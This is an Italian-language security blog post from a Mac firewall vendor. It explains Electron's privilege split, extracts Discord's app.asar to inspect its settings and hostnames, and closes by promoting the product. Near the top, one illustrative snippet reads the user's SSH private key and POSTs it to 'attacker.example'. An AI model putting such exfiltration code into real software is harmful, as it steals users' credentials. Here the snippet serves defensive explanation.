Il blog sulla sicurezza di FireAI

Di FireAI Security & Research Team · Pubblicato

Cosa c’è davvero dentro le tue app Electron? Ne abbiamo estratta una per scoprirlo

Cosa c’è davvero dentro le tue app Electron? Ne abbiamo estratta una per scoprirlo

Electron combina il motore di rendering Chromium con il runtime Node.js così che un’unica base di codice JavaScript possa essere distribuita come app desktop su macOS, Windows e Linux. Slack, Discord, Notion e molte altre sono costruite così, e per anni lo è stato anche Microsoft Teams. La comodità è reale. Lo è anche una conseguenza che vale la pena capire: un’app Electron non è un unico processo con un unico livello di privilegio, e il suo codice sorgente incluso non è difficile da leggere.

Due processi, due livelli di privilegio

Ogni app Electron ha un processo Main, che esegue Node.js completo con normale accesso a file e rete a livello di sistema operativo, e uno o più processi Renderer, che mostrano contenuto web in un contesto Chromium. La stessa documentazione di sicurezza di Electron è esplicita sul rischio di sfumare quella linea: "È fondamentale non abilitare l’integrazione Node.js in nessun renderer che carica contenuto remoto," perché farlo elimina la barriera tra una pagina web e il sistema operativo. La soluzione indicata non è "fidarsi del contenuto", ma architetturale: tenere l’accesso a Node fuori dal renderer, ed esporgli solo un’API deliberatamente ristretta tramite uno script di preload e l’API contextBridge, con l’isolamento del contesto attivo.

Esempio: cosa può fare l’integrazione Node in un renderer compromesso
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

L’archivio non è un segreto: estrarre un’app reale

La maggior parte delle app Electron distribuisce il proprio JavaScript e HTML dentro un file app.asar. La stessa documentazione di Electron è diretta su a cosa serve questo formato: "gli archivi sono di sola lettura" e raggrupparli in uno solo serve a "nascondere il codice sorgente da un’ispezione superficiale" — parole loro, non un’affermazione esterna — pur dichiarando altrove, in modo chiaro, che ASAR non offre alcuna cifratura. Per verificare cosa significhi in pratica, abbiamo estratto la copia reale e attualmente installata di Discord per macOS (build 0.0.294) su questa macchina, usando il packer ufficiale mantenuto da Electron stessa.

Terminale
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Un solo comando ha prodotto 1.056 file in chiaro: JavaScript leggibile, package.json, e la struttura dei moduli propria di Discord, esattamente come dice la documentazione di Electron. Nessuna decompilazione, nessun reverse engineering, nessuna password. Non è un difetto di Discord; è come funziona il formato ASAR per ogni app Electron, per progettazione.

Cosa mostra un’estrazione reale sul comportamento di rete

Con il sorgente in chiaro, sia la revisione di sicurezza sia la ricerca diventano banali. Abbiamo cercato nei file estratti due cose: quali webPreferences imposta effettivamente Discord, e quali nomi host compaiono nel suo stesso codice (escludendo i node_modules di terze parti).

Terminale, risultati dall’estrazione reale sopra
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

A onore dell’app specifica che abbiamo testato: la finestra di splash screen di Discord segue esattamente le raccomandazioni di hardening di Electron, nodeIntegration: false e contextIsolation: true. Vale la pena dirlo chiaramente invece di passarci sopra. Il punto qui non è che Discord sia insicura; è che abbiamo potuto verificarlo, in pochi minuti, su qualsiasi app Electron, perché il formato dell’archivio non nasconde nulla. La maggior parte delle persone che installa un’app Electron non guarda mai, e nemmeno la maggior parte degli strumenti statici per endpoint lo fa.

Perché un firewall basato sulla fiducia nel binario non può aiutare qui

Nessuno dei nomi host sopra è segreto o sorprendente per un’app di chat da raggiungere, ed è esattamente questo il problema per la difesa a livello di rete. Un firewall che decide in base alla firma del codice vede una cosa sola: un binario notarizzato e firmato da Apple che fa normali richieste HTTPS sulla porta 443. Non ha modo di distinguere una chiamata API legittima, un SDK di analytics incluso, e, in un renderer davvero compromesso, un tentativo di esfiltrazione. Tutti e tre appaiono come lo stesso processo fidato che parla con internet, perché sono lo stesso processo.

  • Giudicare un’app Electron dalla sua firma del codice non dice nulla su quali delle sue numerose dipendenze incluse stiano facendo quali connessioni.
  • Poiché il sorgente è JavaScript in chiaro in un archivio non cifrato, verificare cosa un’app possa raggiungere è realistico, non teorico, per chiunque sia disposto a eseguire asar extract.
  • L’unico controllo che non dipende dal fidarsi del binario è la politica di rete per processo e per destinazione: decidere, a livello di socket, cosa una data app può raggiungere.

Il ruolo di FireAI e di HisnLabs

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI è il prodotto di HisnLabs: un firewall con IA che funziona direttamente sul Mac. Mostra in linguaggio chiaro ogni connessione che le tue app effettuano e ti lascia decidere cosa esce dal tuo Mac — la sua IA lavora in locale, quindi il tuo traffico non viene mai inviato a noi né a nessun altro. Il team di ricerca sulla sicurezza di HisnLabs è quello che mantiene affidabili queste decisioni: cataloga quali domini sono semplice telemetria e quali un servizio reale, traccia il Paese e la rete dietro una connessione e addestra il modello locale (la funzione Autopilot) su schemi di traffico reali, senza che nulla lasci il tuo Mac.

Puoi leggere le scelte tecniche che ci stanno dietro, oppure provare FireAI per 17 giorni, su FireAI, di HisnLabs.

Fonti